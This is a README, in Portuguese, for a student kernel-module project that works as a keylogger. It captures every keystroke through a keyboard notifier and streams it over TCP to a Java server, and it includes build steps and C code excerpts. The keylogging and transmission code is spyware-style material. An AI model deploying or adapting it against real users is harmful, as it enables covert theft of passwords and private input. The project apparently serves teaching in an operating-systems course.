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Trabalho da disciplina de Sistemas Operacionais I (SSC0640), lecionada pelo Docente Vanderlei Bonato, para o curso de Engenharia de Computação - USP São Carlos.

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ISS2718/Whisper.Driver

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Whisper.Driver

Resumo.

Trabalho da disciplina de Sistemas Operacionais I (SSC0640), lecionada pelo Docente Vanderlei Bonato, para o curso de Engenharia de Computação - USP São Carlos.

Whisper.Driver é um escaneador de teclado em kernel com comunicação TCP.

Autores.

Tabela de conteúdos.


1. Composição do projeto.

O projeto foi desenvolvido com o propósito de ser um driver de kernel capaz de escanear as teclas do teclado e enviar a um usuário externo conectado, funcionando por trás do uso principal do sistema.

Dessa forma, o usuário externo é um servidor, implementado em user space na linguagem Java, com interface JavaFX. O driver é um módulo kernel, com um listener de teclas e um socket de cliente, implementado em C no kernel space.

2. Pré-Requisitos.

  • Java JDK 11 (ou superior);
  • Arquivos headers de kernel;

3. Instalação dos Pré-requisitos.

3.1. Ubuntu.

3.1.1. Java JDK.

Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute

$ java -version

Caso não haja, execute

$ sudo apt install default-jdk

Se o JDK foi instalado com êxito, então ao executar $ java -version, deve aparecer a última versão do JDK.

3.1.2. Arquivos headers de kernel.

Para saber se essas bibliotecas estão instaladas no seu sistema, execute

$ uname -r
$ apt search linux-headers-$(uname -r)

Caso você não tenha as bibliotecas, execute

$ sudo apt-get install build-essential linux-headers-`uname -r`

3.2. Manjaro.

3.2.1. Java JDK.

Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute:

$ java -version

Caso não haja, execute:

$ sudo pacman -S jre-openjdk-headless jre-openjdk jdk-openjdk openjdk-doc openjdk-src

Se o JDK foi instalado com êxito, então ao executar $ java -version, deve aparecer a última versão do JDK.

3.2.2. Arquivos headers de kernel.

Para instalar é preiso estar com o sistema atualizado, para isso use:

$sudo pacman -Syu

Se precisar reebote o sistema.

Agora para instalar execute:

$ sudo pacman -S base-devel linux-headers

3.3. Fedora.

3.3.1. Java JDK.

Para executar o servidor em Java, é preciso instalá-lo. Primeiro, verifique se não há uma JDK 11 ou superior. Execute:

$ java -version

Caso não haja, execute:

$ sudo dnf install java-latest-openjdk-devel

Se o JDK foi instalado com êxito, então ao executar $ java -version deve aparecer a última versão do JDK. Caso isso não ocorra, será preciso configurar a versão do java utilizada pelo sistema:

$ sudo alternatives --config java

3.3.2. Arquivos headers de kernel.

Para instalar é preiso estar com o sistema atualizado, para isso use:

$ sudo dnf update

Se precisar reebote o sistema.

Agora para instalar execute:

$ sudo dnf linux-headers

4. Guia de execução.

  1. Compile todos os arquivos executando:
$ make
  1. Abra o servidor executando:
$ make start
  1. Com o servidor aberto, é preciso pressionar "Abrir servidor", para que ele comece a aceitar conexões. Nessa etapa, é importante verificar se o IP é 127.0.0.1 e a porta 8008.

  2. Agora deve-se inserir o módulo no kernel com:

$ make insert
  1. Com o módulo no kernel, ele se conectará automaticamente e o servidor começará a mostrar as teclas digitadas pelo usuário. Para retirar o módulo do kernel, execute
$ make remove

5. Resumo do driver.

5.1. Conexão do cliente com o servidor.

A rotina de conexão com o servidor é a primeira rotina executada ao ínicio do módulo. Nela, define-se o IP e configura a conexão. Depois conecta-se o socket do cliente ao servidor. No trecho abaixo, há apenas a parte principal da rotina.

//Define o endereço de IP.
unsigned char ip[5] = {127,0,0,1,'\0'};

//Reserva memória no endereço 'endereco'.
memset(&endereco, 0, sizeof(endereco));

//Configura a conexão com o endereço IPV4, na porta 8008 no IP definido.
endereco.sin_family = AF_INET;
endereco.sin_port = htons(8008);
endereco.sin_addr.s_addr = htonl(criaEndereco(ip));

//Conecta o cliente ao servidor externo.
socket->ops->connect(socket, (struct sockaddr*)&endereco, sizeof(endereco), O_RDWR);

5.2. Rotinas de envio de mensagem.

O envio de mensagem acontece byte-a-byte. Recebendo uma mensagem como parâmetro, a rotina de envio cria estruturas de mensagem, struct msghdr, e de buffer, struct kvec. Assim, envia-se um byte da mensagem até que o retorno da função kernel_send seja 0.

//Cria a struct do tipo msghdr (mensagem) e kvec (buffer).
struct msghdr msg;
struct kvec vec;

//Define o struct de mensagem.
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = flags;

//Enviar a mensagem ao servidor.
while(1){
    //Estrutura de buffer.
    vec.iov_len = left;
    vec.iov_base = (char *)mensagem + written;

    //Retorna o número de bytes enviados.
    len = kernel_sendmsg(localSocket, &msg, &vec, left, left);

    //Ao receber constantes do sistema, ignora e prossegue enviando.
    if(len == -ERESTARTSYS || !(flags & MSG_DONTWAIT) && len == -EAGAIN)
        continue;

    //Caso ainda haja bytes para enviar.
    if(len > 0){
        written += len;
        left -= len;
        if(left)
            continue;
    }
    break;
}

5.3. Listener das teclas.

O Listener das teclas é divido em 4 partes, sendo elas o mapa_de_teclas, o bloco_observador_teclado, o manipulador_evento_teclado e a converte_codigo_tecla_para_string.

5.3.1. Mapa de Teclas.

Aqui é definido um mapeamento de teclas chamado mapa_de_teclas, que associa códigos de teclas a caracteres correspondentes. Cada entrada no array bidimensional mapa_de_teclas possui duas strings: a primeira representa a tecla sem o Shift pressionado, e a segunda representa a tecla com o Shift pressionado.

static const char *mapa_de_teclas[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    .
    .
    .
};

5.3.2 Bloco Observador Teclado.

Aqui é definida uma estrutura notifier_block chamada bloco_observador_teclado, que possui um membro notifier_call apontando para a função manipulador_evento_teclado. Essa estrutura é usada para registrar o módulo como um observador dos eventos de teclado.

static struct notifier_block bloco_observador_teclado = {
    .notifier_call = manipulador_evento_teclado,
};

5.3.3 Manipulador de Eventos do Teclado.

Essa função, manipulador_evento_teclado, é a função de retorno de chamada que é chamada sempre que ocorre um evento de teclado. Ela recebe informações sobre o evento, como o código da tecla e a ação (pressionar ou soltar a tecla), e registra as teclas pressionadas utilizando a função converte_codigo_tecla_para_string.

int manipulador_evento_teclado(struct notifier_block *bloco_notificacao, unsigned long codigo, void *_parametro){
    // Cria buffer para a conversao do codigo de tecla para string.
    char buffer_teclas[12] = {0};

    // Converte o parametro (void *) recebido prara (keyboard_notifier_param *). 
    struct keyboard_notifier_param *parametro = _parametro;
 
    if (!(parametro->down)) return NOTIFY_OK;
    
    // Converte o codigo da tecla na string equivalente e salva no buffer.
    converte_codigo_tecla_para_string(parametro->value, parametro->shift, buffer_teclas, 12);
    
    // Se a string for nula ele termina a rotina aqui.
    if (strlen(buffer_teclas) < 1) return NOTIFY_OK;
    
    // Cria uma string para enviar pelo socket.
    char enviar[32];
    memset(&enviar, 0, 32);

    // Monta a string no padrão "Keylog: <tecla>".
    strcat(enviar, "Keylog: ");
    strcat(enviar, buffer_teclas);
    strcat(enviar, "\n");

    // Envia a string pelo socket.
    enviarMensagem(socket, enviar, strlen(enviar), MSG_DONTWAIT);

    // Printa no log (local) a tecla precionada.
    printk(KERN_INFO "Keylog: %s", buffer_teclas);
 
    return NOTIFY_OK;
}

5.3.4 Converte o Codigo da Tecla para String.

Esta função, converte_codigo_tecla_para_string, converte um código de tecla e uma máscara de Shift em uma sequência de caracteres correspondente. A sequência é armazenada no buffer fornecido como parâmetro.

void converte_codigo_tecla_para_string(int codigo_tecla, int mascara_shift, char *buf, unsigned int tam_buf){
    // Se a tecla esta dentro do intervalo de teclas mapeadas.
    if (codigo_tecla > KEY_RESERVED && codigo_tecla <= KEY_PAUSE)
    {
        // Se o shift estiver pressionado pega codigo na posicao 1 se nao pega na posicao 0.
        const char *string_tecla = (mascara_shift == 1)
                                ? mapa_de_teclas[codigo_tecla][1]
                                : mapa_de_teclas[codigo_tecla][0];
        // Copia o const char para o buffer como string.
        snprintf(buf, tam_buf, "%s", string_tecla);
    }
}

6. Tecnologias.

As seguintes ferramentas foram usadas na construção do projeto:

7. Licença.

MIT License © Caio O. Godinho, Hugo H. Nakamura, Isaac Soares

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